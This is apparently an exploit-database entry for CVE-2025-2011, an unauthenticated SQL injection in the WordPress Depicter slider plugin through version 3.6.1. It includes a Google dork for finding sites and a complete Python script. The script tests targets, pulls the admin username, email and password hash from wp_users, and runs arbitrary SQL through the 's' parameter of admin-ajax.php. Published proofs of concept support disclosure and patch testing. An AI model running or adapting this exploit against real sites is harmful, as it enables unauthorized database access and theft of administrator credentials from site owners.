# Exploit Title: WordPress Depicter Plugin 3.6.1 - SQL Injection # Google Dork: inurl:/wp-content/plugins/depicter/ # Date: 2025-05-06 # Exploit Author: Andrew Long (datagoboom) # Vendor Homepage: https://wordpress.org/plugins/depicter/ # Software Link: https://downloads.wordpress.org/plugin/depicter.3.6.1.zip # Version: <= 3.6.1 # Tested on: WordPress 6.x # CVE: CVE-2025-2011 # Description: # The Slider & Popup Builder by Depicter plugin for WordPress is vulnerable to SQL Injection via the 's' parameter in all versions up to, and including, 3.6.1. # The vulnerability exists due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. # This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. # The vulnerability is located in the admin-ajax.php endpoint and can be exploited through the 's' parameter. The PoC demonstrates how to: # 1. Check if a target is vulnerable # 2. Extract admin user details # 3. Execute custom SQL queries # The exploit is provided as a Python script (poc.py) that includes: # - Error-based SQL injection detection # - Admin user information extraction # - Custom SQL query execution capability # - Debug mode for detailed output #!/usr/bin/env python3 import argparse import re import sys import time import html import urllib.parse from urllib.parse import urlparse try: import requests from colorama import Fore, Style, init init(autoreset=True) USE_COLOR = True except ImportError: class MockColorama: def __getattr__(self, name): return "" Fore = Style = MockColorama() USE_COLOR = False print("[!] Missing dependencies. Install with: pip install requests colorama") print("[!] Continuing without colored output...") def print_banner(): banner = f""" {Fore.CYAN}╔════════════════════════════════════════════════════════════════╗ {Fore.CYAN}║ {Fore.RED}CVE-2025-2011 - SQLi in Depicter Slider & Popup Builder <3.6.2 {Fore.CYAN}║ {Fore.CYAN}║ {Fore.GREEN}By datagoboom {Fore.CYAN} ║ {Fore.CYAN}╚════════════════════════════════════════════════════════════════╝{Style.RESET_ALL} """ print(banner) def verify_target(url): parsed_url = urlparse(url) if not parsed_url.scheme: url = "http://" + url if url.endswith('/'): url = url[:-1] print(f"{Fore.YELLOW}[*] Target URL: {url}") return url def test_connection(url): try: response = requests.get(url, timeout=10) if response.status_code == 200: print(f"{Fore.GREEN}[+] Successfully connected to the target") return True else: print(f"{Fore.RED}[-] Received status code {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"{Fore.RED}[-] Connection error: {e}") return False def extract_data(url, sql_query, max_length=50, debug=False): payload = f"test%' AND EXTRACTVALUE(1,CONCAT(0x7e,({sql_query}),0x7e))='&perpage=20&page=1&orderBy=source_id&dateEnd=&dateStart=&order=DESC&sources=&action=depicter-lead-index" target_url = f"{url}/wp-admin/admin-ajax.php?s={payload}" try: if debug: print(f"{Fore.BLUE}[DEBUG] Requesting: {target_url}") response = requests.get(target_url, timeout=20) if debug: print(f"{Fore.BLUE}[DEBUG] Response status: {response.status_code}") decoded_text = html.unescape(response.text) error_pattern = r"XPATH syntax error: '~(.*?)~'" match = re.search(error_pattern, decoded_text) if match: extracted_data = match.group(1) return extracted_data else: if debug: print(f"{Fore.RED}[-] No XPATH syntax error found in response") if "XPATH syntax error" in decoded_text: print(f"{Fore.RED}[-] XPATH error found but regex didn't match. Response excerpt:") print(f"{Fore.RED}[-] {decoded_text[:500]}") else: print(f"{Fore.RED}[-] Response doesn't contain XPATH error. Response excerpt:") print(f"{Fore.RED}[-] {decoded_text[:500]}") return None except requests.exceptions.RequestException as e: print(f"{Fore.RED}[-] Error during extraction: {e}") return None def check_vulnerability(url, debug=False): print(f"{Fore.YELLOW}[*] Checking if the target is vulnerable...") result = extract_data(url, "database()", debug=debug) if result: print(f"{Fore.GREEN}[+] Target is VULNERABLE!") print(f"{Fore.GREEN}[+] Database name: {result}") return True else: result = extract_data(url, "VERSION()", debug=debug) if result: print(f"{Fore.GREEN}[+] Target is VULNERABLE!") print(f"{Fore.GREEN}[+] MySQL version: {result}") return True else: result = extract_data(url, "'test'", debug=debug) if result: print(f"{Fore.GREEN}[+] Target is VULNERABLE!") print(f"{Fore.GREEN}[+] Test value: {result}") return True else: print(f"{Fore.RED}[-] Target does not appear to be vulnerable") manual_check = f"{url}/wp-admin/admin-ajax.php?s=test%' AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))='&perpage=20&page=1&orderBy=source_id&dateEnd=&dateStart=&order=DESC&sources=&action=depicter-lead-index" print(f"{Fore.YELLOW}[*] Try checking manually in your browser: \n{manual_check}") return False def extract_admin_details(url, debug=False): print(f"{Fore.YELLOW}[*] Extracting admin user details...") admin_username = extract_data(url, "SELECT user_login FROM wp_users WHERE ID=1 LIMIT 1", debug=debug) if admin_username: print(f"{Fore.GREEN}[+] Admin username: {admin_username}") admin_email = extract_data(url, "SELECT user_email FROM wp_users WHERE ID=1 LIMIT 1", debug=debug) if admin_email: print(f"{Fore.GREEN}[+] Admin email: {admin_email}") hash_left = extract_data(url, "SELECT LEFT(user_pass,30) FROM wp_users WHERE ID=1 LIMIT 1", debug=debug) if hash_left: hash_right = extract_data(url, "SELECT SUBSTRING(user_pass,31,30) FROM wp_users WHERE ID=1 LIMIT 1", debug=debug) if hash_right: full_hash = hash_left + hash_right else: print(f"{Fore.YELLOW}[*] Could not retrieve full hash - bcrypt hashes are typically 60 chars long") print(f"{Fore.GREEN}[+] Admin password hash: {full_hash}") else: print(f"{Fore.RED}[-] Failed to extract admin password hash") return { "username": admin_username, "email": admin_email, "password_hash": hash_left } else: print(f"{Fore.RED}[-] Failed to extract admin details") return None def extract_custom_data(url, query, debug=False): print(f"{Fore.YELLOW}[*] Executing custom SQL query...") print(f"{Fore.YELLOW}[*] Query: {query}") result = extract_data(url, query, debug=debug) if result: print(f"{Fore.GREEN}[+] Result: {result}") return result else: print(f"{Fore.RED}[-] Failed to execute query or no results returned") return None def main(): parser = argparse.ArgumentParser(description='CVE-2025-2011 - SQLi in Depicter Slider & Popup Builder') parser.add_argument('-u', '--url', required=True, help='Target WordPress URL') parser.add_argument('-m', '--mode', default='check', choices=['check', 'admin', 'custom'], help='Extraction mode: check=vulnerability check, admin=admin details, custom=custom SQL query') parser.add_argument('-q', '--query', help='Custom SQL query (use with -m custom)') parser.add_argument('-d', '--debug', action='store_true', help='Enable debug output') args = parser.parse_args() print_banner() target_url = verify_target(args.url) if not test_connection(target_url): print(f"{Fore.RED}[-] Exiting due to connection failure") sys.exit(1) if not check_vulnerability(target_url, debug=args.debug): if args.mode != 'check': print(f"{Fore.YELLOW}[!] Target may not be vulnerable, but continuing with requested mode...") else: print(f"{Fore.RED}[-] Exiting as target does not appear to be vulnerable") sys.exit(1) if args.mode == 'check': pass elif args.mode == 'admin': extract_admin_details(target_url, debug=args.debug) elif args.mode == 'custom': if not args.query: print(f"{Fore.RED}[-] Custom mode requires a SQL query (-q/--query)") sys.exit(1) extract_custom_data(target_url, args.query, debug=args.debug) print(f"\n{Fore.YELLOW}[!] Exploitation complete") if __name__ == "__main__": main()